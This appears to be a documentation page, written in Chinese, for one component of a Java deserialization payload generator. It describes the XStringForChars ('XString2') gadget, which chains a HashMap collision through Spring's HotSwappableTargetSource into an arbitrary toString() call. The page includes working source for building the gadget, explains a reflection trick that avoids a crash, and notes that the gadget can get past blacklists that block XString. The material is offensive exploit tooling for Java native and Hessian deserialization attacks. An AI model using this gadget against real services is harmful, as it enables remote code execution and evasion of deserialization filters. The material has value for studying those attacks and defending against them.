Skip to content

Latest commit

 

History

History
59 lines (48 loc) · 3.95 KB

File metadata and controls

59 lines (48 loc) · 3.95 KB

XStringForChars 调用toString链(XString2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖spring-aop:org.springframework.aop.target.HotSwappableTargetSourcejdk:com.sun.org.apache.xpath.internal.objects.XStringForChars

作用

XString1XStringForChars 变体:用 JDK 内置的 com.sun.org.apache.xpath.internal.objects.XStringForCharsXString 的字符数组子类)替代 XString,同样通过 HashMap 碰撞 → HotSwappableTargetSource.equalsXStringForChars.equals,最终对内层对象调用任意 toString()。用于在 XString 被黑名单拦截、或需要不同类签名时替代主变体。

链接标签

  • 入口 tagsJavaNativeDeserializeHessianDeserialize —— 承接 Java 原生反序列化 / Hessian 反序列化入口。
  • 衔接 nextTagsToString —— 之后接一个「入口为 toString()」的 gadget。
  • excludes:(无)

源码剖析

public Object getObject(Object object) throws Exception {
    XStringForChars xString = new XStringForChars(new char[0], 0, 0);  // 空 char[] 构造
    Reflections.set(xString, "m_strCache", "");                        // 反射预置字符串缓存,避免 equals 中 NPE
    HotSwappableTargetSource h1 = new HotSwappableTargetSource(object);
    HotSwappableTargetSource h2 = new HotSwappableTargetSource((Object)xString);
    HashMap map = PayloadHelper.makeMap(h1, h2);
    return map;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(object);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject);
    }
    return resultObject;
}

与 XString1 的差异

  • 载体换为 XStringForChars,其构造器需要 (char[] ch, int start, int length);此处传空数组 new char[0], 0, 0
  • 关键的额外一步 Reflections.set(xString, "m_strCache", "")XStringForChars 的父类 XStringequals/str() 计算时会读取 m_strCache 字段;空 char[] 构造下该缓存可能为 null,直接触发会抛 NullPointerException。反射预置为空串 "",保证 equals(obj2) 顺利走到 this.str().equals(obj2.toString()),从而对内层 object 调用 toString()
  • 其余触发链与 XString1 完全一致:HashMap.readObject 同桶碰撞 → HotSwappableTargetSource.equals 转比 targetXStringForChars.equals(object)object.toString()

invoke 中的 FASTJSON_HANDLE_BYPASS_KEY 处理同 XString1:Fastjson handle 绕过场景下用 CommonMethod.listWrap 再套一层 List,常规场景直接返回 HashMap

参数(@Param)

本类无 @Param,无用户可配字段;内层对象与上下文由链自动注入。

适用版本与原理要点

  • 使用 JDK 内置 XStringForChars,无需第三方 XML 依赖,仅需 spring-aopHotSwappableTargetSource
  • 相较 XStringXStringForChars 是不同的具体类,可在目标对 XString 做了类名黑名单、但未覆盖其子类时作为绕过手段。
  • 需注意 m_strCache 反射初始化——这是本变体能正常触发而不抛 NPE 的必要条件。
  • 同样受 JDK 模块化后 com.sun.org.apache.xpath.internal.* 可用性影响。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联